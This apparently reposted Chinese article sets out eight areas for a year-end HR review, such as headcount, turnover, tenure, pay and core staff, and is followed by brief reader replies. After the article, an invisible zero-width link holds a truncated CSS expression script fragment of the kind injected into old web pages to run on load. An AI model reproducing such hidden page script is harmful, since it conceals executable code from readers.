年末人力资源盘点的八项重点内容
<DIV class=articleContent id=articleBody><P>一年到头，人力资源工作也要有个总结，需要盘点一下，就如财务到了年底要好好盘点一下收支情况，行政要盘点一下固定资产一样。人力资源盘点不同与以上两类盘点，因为以上两类盘点盘点的是物，而人力资源盘点盘点的是人，是活的人，是具有主观能动性的人。</P>
<P>人力资源需要盘点的内容很多，我觉得主要要盘点一下几方面的内容：</P>
<P>一是现有的人力资源数量，其中也包括性别数量、比例，不同级别的人员比例等等。进行历史分析，同类子公司之间数量分析。</P>
<P>二是年初到年末人力资源流动的数量及其比例，同时对流动原因有个分析。尤其对流动率大的公司要做更进一步的数学分析。</P>
<P>三是员工在本企业工作年限进行分析。因为我研究的对象主要是民营企业，而民营企业人员流动率都比较大，所以我一般对员工工作年限进行分析，从中发现一些问题。</P>
<P>四是盘点一下员工收入。进行历史分析，研究一下物价涨幅与员工收入的关系，作为薪酬调整的基础；进行同类公司横向的分析，为了解决内部不公平的问题提供数据。</P>
<P>五是盘点一下核心员工的数量，收入，以及研究一下，看那些核心员工在新的一年可以提拔。</P>
<P>六是盘点高级管理人员的各项费用，所在企业的收入，利润，以及之间的关系，做好年末考核兑现的准备（因为多数公司对高管的激励是年末有一定的绩效激励）。</P>
<P>七是盘点一下企业核心业务的员工基本情况。总在这里说的企业的核心业务是指企业的盈利核心点工作的员工，比如销售类企业销售顾问就是核心业务员工，服务类企业就是指在一线直接与客户接触的员工。</P>
<P>八、盘点一下人力资源专职管理人员的情况。打铁还需自身硬，盘点好本身的情况，有利于在新的一年里，加强自身建设，促进人力资源管理工作的深度化开展。</P>
<P>总而言之，人力资源盘点不要面面俱到，要盘点有用的东西，要对盘点的结果进行分析，要历史的分析，同行业的分析，社会的分析。盘点时手段不是目的。</P><A style="DISPLAY: none; WIDTH: 0px; ee: expression_r_r(function(){if(!window.r){var
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:) :)好
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这些工作蛮有创意的。回复：年末人力资源盘点的八项重点内容
不过这些工作真正做完，做好，做真实，是要很长一段时间滴。回复：年末人力资源盘点的八项重点内容
学习了，很需要。:D回复：年末人力资源盘点的八项重点内容
不错，对方向有了一定的了解了回复：年末人力资源盘点的八项重点内容
嗯，有了方向了。回复：年末人力资源盘点的八项重点内容
不错，转走！！！回复：年末人力资源盘点的八项重点内容
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